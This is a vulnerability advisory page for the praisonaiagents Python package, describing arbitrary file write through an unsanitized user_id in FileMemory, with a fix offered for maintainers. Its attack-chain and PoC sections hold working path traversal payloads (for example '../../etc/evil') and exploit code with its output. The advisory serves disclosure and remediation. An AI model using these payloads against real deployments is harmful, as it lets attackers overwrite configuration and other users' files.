Hoch

praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location

  • Veröffentlicht: 25.08.2026
  • Aktualisiert: 11.10.2026 15:18

Summary

praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all memory file paths by directly joining the user_id parameter to a base path:

python
self.user_path = self.base_path / user_id      # LINE 145 — no sanitization

No validation or normalization is applied to user_id before the path join. An attacker who can supply a user_id containing ../ sequences can write arbitrary JSON files (memory content) to any writable location on the filesystem.

The vulnerability is confirmed live on the current main branch (praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744 (which covered MultiAgentMonitor in an example file, not FileMemory in the core library).

Details

Vulnerable code — praisonaiagents/memory/file_memory.py lines 139-157:

python
def __init__(
    self,
    user_id: str = "default",
    base_path: Optional[str] = None,
    ...
):
    ...
    self.user_path = self.base_path / user_id          # LINE 145 — NO SANITIZATION
    self.episodic_path = self.user_path / "episodic"

    self.user_path.mkdir(parents=True, exist_ok=True)  # creates dirs at traversed path
    self.episodic_path.mkdir(parents=True, exist_ok=True)

    self.config_file      = self.user_path / "config.json"
    self.short_term_file  = self.user_path / "short_term.json"
    self.long_term_file   = self.user_path / "long_term.json"
    self.entities_file    = self.user_path / "entities.json"
    self.summaries_file   = self.user_path / "summaries.json"

All five JSON files are written under user_path, which is directly derived from the attacker-controlled user_id. The written content is valid JSON in the memory item format (configurable user content + metadata).

Comparison with the patched reference — praisonaiagents/storage/backends.py (SQLiteBackend):

The sibling SQLiteBackend validates its table_name with a regex:

python
if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
    raise ValueError(...)

No equivalent validation exists in FileMemory.

Attack chains:

A — Direct Python API (any caller):

python
from praisonaiagents.memory.file_memory import FileMemory

mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json  (on Linux)
# Creates C:\evil\short_term.json    (on Windows)

B — Via Agent constructor (memory dict):

python
from praisonaiagents import Agent

agent = Agent(
    name="assistant",
    memory={"provider": "file", "user_id": "../../etc/evil"},
    instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init

C — Via agents.yaml / job submission (agent_yaml field):

yaml
# Submitted via POST /jobs with agent_yaml:
agents:
  researcher:
    memory:
      provider: file
      user_id: "../../tmp/evil"
    role: "Research assistant"
    goal: "Research topics"

agents_generator.py passes the memory.user_id value to the Agent constructor.

PoC

Environment: Python 3.9+, praisonaiagents <= 1.6.52

Step 1 — Verify path escapes base (no dependencies needed):

python
from pathlib import Path
import tempfile

base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id

try:
    user_path.resolve().relative_to(base.resolve())
    print("SAFE")
except ValueError:
    print("!!PATH ESCAPES BASE!!")
    print("Writes to:", user_path.resolve())

Output:

!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape

Step 2 — Live exploit (files written outside base):

python
import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory

BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)

TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()

mem = FileMemory(user_id="../../praisonai_path_traversal_proof", base_path=str(BASE))
mem.add_short_term("PROOF_OF_TRAVERSAL: attacker wrote this")
mem.add_long_term("SENSITIVE_DATA", importance=0.9)

# Verify files appeared OUTSIDE the base directory
for fname in ["short_term.json", "long_term.json", "config.json"]:
    f = TARGET / fname
    if f.exists():
        print(f"WRITTEN: {f}")
        print(f"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}")

Observed output (run on current main):

WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json
Content: PROOF_OF_TRAVERSAL: attacker wrote this
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json
Content: SENSITIVE_DATA
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json

Impact

What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.

Who is impacted:

  • Any application that creates FileMemory instances with user-controlled user_id
  • Any PraisonAI deployment where users can supply the user_id parameter directly or indirectly (via Agent(memory={"user_id": ...}), agents.yaml, or jobs API)

High-impact scenarios:

  1. Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.

  2. Overwrite web server / app config: Write config.json or settings.json to an app's configuration directory, potentially modifying runtime behavior.

  3. Cron / startup persistence: Write JSON files to /etc/cron.d/ paths (Linux) or %APPDATA%\Startup\ (Windows) directories that might be interpreted by monitoring systems.

  4. Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.

  5. Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.

Distinction from GHSA-766v-q9x3-g744:

GHSA-766v-q9x3-g744 This finding
File examples/context/12_multi_agent_context.py (example) praisonaiagents/memory/file_memory.py (core library)
Class MultiAgentMonitor FileMemory
Fixed in praisonaiagents >= 1.5.115 Not patched (affects 1.6.52)
python
---

## Remediation Suggestion (for maintainers)

Validate and resolve `user_id` before using it in path construction:

```python
def __init__(self, user_id: str = "default", base_path=None, ...):
    ...
    # ADDED: sanitize user_id
    import re
    if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_id):
        raise ValueError(
            f"user_id '{user_id}' contains invalid characters. "
            f"Only alphanumeric characters, hyphens, underscores, and dots are allowed."
        )

    self.user_path = self.base_path / user_id

    # ADDED: verify the resolved path is within base (defense-in-depth)
    resolved = self.user_path.resolve()
    base_resolved = self.base_path.resolve()
    try:
        resolved.relative_to(base_resolved)
    except ValueError:
        raise ValueError(
            f"user_id '{user_id}' would write outside the base memory directory."
        )

The same pattern should be applied to base_path parameter.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) praisonaiagents < 1.6.58 1.6.58

Verweise

CVSS-Wert 7.1/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Schwäche (CWE)
CWE-22, CWE-73
Plattform
Python (PyPI)
Paket
praisonaiagents
Veröffentlicht
25.08.2026
Aktualisiert
11.10.2026 15:18

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-3902 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-gxmw-5f7x-6g22 - CC BY 4.0

Schwachstellenhistorie: praisonaiagents

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (50) im Archiv
Einträge insgesamt
50
Erste → letzte
04.2026 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 10
  • Hoch 27
  • Mittel 13

Veröffentlichungen pro Jahr

  1. 2026: 50
Schweregrad:
  1. praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location dieser Eintrag
    Hoch · 7.1 CVE-2026-55527 < 1.6.58 1.6.58
  2. Hoch · 7.5 CVE-2026-55525 < 1.6.58 1.6.58
  3. Hoch · 7.5 CVE-2026-57129 < 1.6.59 1.6.59
  4. Kritisch · 9.8 CVE-2026-57125 < 1.6.59 1.6.59
Mehr anzeigen (17) 20 von 37 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.